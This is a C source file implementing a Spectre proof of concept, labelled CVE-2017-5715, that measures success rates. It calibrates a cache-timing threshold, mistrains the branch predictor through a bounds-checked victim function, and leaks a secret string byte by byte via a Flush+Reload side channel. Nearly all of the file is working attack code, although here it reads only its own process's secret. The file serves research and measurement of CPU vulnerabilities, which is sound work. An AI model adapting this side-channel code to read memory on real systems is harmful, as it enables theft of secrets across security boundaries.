292 lines
8.1 KiB
C
292 lines
8.1 KiB
C
/* spectre.c - CVE-2017-5715 user-to-user sucess rate measurement
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*
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* Borrows code from
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* - https://gist.github.com/ErikAugust/724d4a969fb2c6ae1bbd7b2a9e3d4bb6
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* - https://github.com/genua/meltdown
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*
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* Copyright (c) 2022 Samuel AUBERTIN
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*
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* Permission to use, copy, modify, and distribute this software for any
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* purpose with or without fee is hereby granted, provided that the above
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* copyright notice and this permission notice appear in all copies.
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*
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* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
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* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
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* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
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* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
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* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
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* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
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* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <stdint.h>
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#include <getopt.h>
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#include <string.h>
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#include <x86intrin.h> /* for rdtscp and clflush */
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#if defined(__i386__) || defined(__amd64__)
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#define CACHELINESIZE 64
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static int _has_rdtscp;
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#else
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#error "unsupported architecture"
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#endif
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#define HAVE_RDTSCP (1U << 27)
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char* secret = "SPECTRE: Special Executive for Counterintelligence, Terrorism, Revenge and Extortion.";
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unsigned int array1_size = 16;
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uint8_t unused1[64];
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uint8_t array1[160] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 };
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uint8_t unused2[64];
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uint8_t array2[256 * 512];
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uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */
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unsigned cache_hit_threshold;
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int verbose;
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static inline unsigned
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timed_access(
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volatile uint8_t *addr
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)
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{
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uint64_t t0, t1;
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#pragma GCC diagnostic ignored "-Wuninitialized"
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unsigned int junk = junk;
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if (_has_rdtscp) {
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t0 = __rdtscp(& junk);
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junk |= *addr;
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t1 = __rdtscp(& junk);
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} else {
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t0 = __rdtsc();
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junk |= *addr;
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t1 = __rdtsc();
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}
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return (unsigned)(t1 - t0);
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}
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static inline void
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native_cpuid(
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unsigned int *eax,
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unsigned int *ebx,
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unsigned int *ecx,
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unsigned int *edx
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)
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{
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asm volatile("cpuid"
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: "=a" (*eax),
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"=b" (*ebx),
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"=c" (*ecx),
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"=d" (*edx)
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: "0" (*eax), "2" (*ecx));
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}
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static void
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calibrate_threshold(
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int verbose,
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unsigned int *threshold
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)
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{
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volatile char buf[2 * CACHELINESIZE];
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volatile uint8_t *bufp;
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int i;
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const int cnt = 1000;
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uint64_t tcache, tmem;
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unsigned eax, ebx, ecx, edx;
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__attribute__((unused)) volatile int junk = 0;
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eax = 0x80000001; // Has RDTSCP ?
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ecx = 0;
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native_cpuid(&eax, &ebx, &ecx, &edx);
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if (edx & HAVE_RDTSCP) {
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switch (verbose) {
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case 1:
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fprintf(stderr, "CPU has RDTSCP.\n");
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break;
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case 2:
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fprintf(stdout, "CPU has RDTSCP.\n");
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break;
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}
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_has_rdtscp = 1;
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} else {
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switch (verbose) {
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case 1:
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fprintf(stderr, "WARNING: CPU has no RDTSCP support, using RDTSC.\n");
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break;
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case 2:
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fprintf(stdout, "WARNING: CPU has no RDTSCP support, using RDTSC.\n");
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break;
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}
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_has_rdtscp = 0;
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}
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bufp = ((volatile void *)(((unsigned long)(buf) + CACHELINESIZE) &
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~(CACHELINESIZE - 1)));
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junk |= *bufp;
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for (i = 0, tcache = 0; i < cnt; i++)
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tcache += timed_access(bufp);
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tcache /= cnt;
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for (i = 0, tmem = 0; i < cnt; i++) {
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_mm_clflush((const void *)bufp);
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_mm_mfence();
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tmem += timed_access(bufp);
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}
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tmem /= cnt;
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if (threshold != NULL) {
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*threshold = tcache + (tmem - tcache) / 2;
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if (*threshold == (unsigned int)tmem)
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(*threshold)--;
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}
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switch (verbose) {
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case 1:
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fprintf(stderr, "Access time: memory %lu, cache %lu", tmem, tcache);
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if (threshold)
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fprintf(stderr, " -> threshold %d", *threshold);
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fprintf(stderr, "\n");
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break;
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case 2:
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fprintf(stdout, "Access time: memory %lu, cache %lu", tmem, tcache);
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if (threshold)
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fprintf(stdout, " -> threshold %d", *threshold);
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fprintf(stdout, "\n");
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break;
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}
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return;
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}
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void
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victim_function(
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size_t x
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)
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{
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if (x < array1_size) {
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temp &= array2[array1[x] * 512];
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}
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}
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void
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leak(
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size_t malicious_x,
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uint8_t value[2],
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int score[2],
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unsigned cache_hit_threshold
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)
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{
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static int results[256];
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int tries, i, j, mix_i;
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unsigned int junk = 0;
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size_t training_x, x;
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volatile uint8_t *addr;
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for (i = 0; i < 256; i++)
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results[i] = 0;
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for (tries = 999; tries > 0; tries--) {
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/* Flush array2[256*(0..255)] from cache */
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for (i = 0; i < 256; i++)
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_mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */
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/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
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training_x = tries % array1_size;
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for (j = 29; j >= 0; j--) {
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_mm_clflush(&array1_size);
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for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */
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//_mm_mfence(); NOT WORKING
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/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
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/* Avoid jumps in case those tip off the branch predictor */
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x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
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x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
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x = training_x ^ (x & (malicious_x ^ training_x));
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/* Call the victim! */
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victim_function(x);
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}
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/* Time reads. Order is lightly mixed up to prevent stride prediction */
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for (i = 0; i < 256; i++) {
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mix_i = ((i * 167) + 13) & 255;
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addr = & array2[mix_i * 512];
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if (timed_access(addr) <= cache_hit_threshold && mix_i != array1[tries % array1_size])
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results[mix_i]++; /* cache hit - add +1 to score for this value */
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}
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/* Locate highest results in j */
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j = -1;
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for (i = 0; i < 256; i++) {
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if (j < 0 || results[i] >= results[j]) {
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j = i;
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}
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}
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if (results[j] >= 3)
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break;
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}
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results[0] ^= junk; /* use junk so code above won’t get optimized out*/
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value[0] = (uint8_t) j;
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score[0] = results[j];
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}
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int
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main(
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int argc,
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char** argv
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)
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{
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int o;
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size_t malicious_x = (size_t)(secret - (char * ) array1); /* default for malicious_x */
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int i, score[2], len = (int)strlen(secret);
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uint8_t value[2];
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unsigned successes = 0;
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while ((o = getopt(argc, argv, "t:vc")) != EOF) {
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switch (o) {
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case 't':
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cache_hit_threshold = atoi(optarg);
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break;
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case 'v':
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verbose++;
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break;
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case 'c':
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calibrate_threshold(2, &cache_hit_threshold);
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return 0;
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default:
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usage:
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fprintf(stderr, "usage: %s [-v] [-c] "
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"[-t threshold]\n\t-v\t\tverbose\n"
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"\t-c\t\tcalibrate only\n"
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"\t-t\t\tfixed threshold, in milliseconds\n", argv[0]);
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return 1;
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}
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}
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if (argc != optind)
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goto usage;
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calibrate_threshold(verbose, cache_hit_threshold ? NULL : &cache_hit_threshold);
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for (i = 0; i < (int)sizeof(array2); i++)
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array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
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if(verbose) {
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fprintf(stderr, "Leaking %d bytes using Branch Target Injection:\n", (int)strlen(secret));
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}
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while (--len >= 0) {
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leak(malicious_x++, value, score, cache_hit_threshold);
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if(score[0] == 3 && value[0] > 31 && value[0] < 127) {
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successes++;
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fprintf(stderr, "\033[32m%c\033[0m", (value[0]));
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} else {
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fprintf(stderr, "\033[31m?\033[0m");
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}
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}
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fprintf(stderr, "\n");
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printf("%s:\tsuccess= %.0f %%\tthreshold= %d ms\n",
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argv[0] + 2,
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100 * successes / (float)strlen(secret), cache_hit_threshold);
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return 0;
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}
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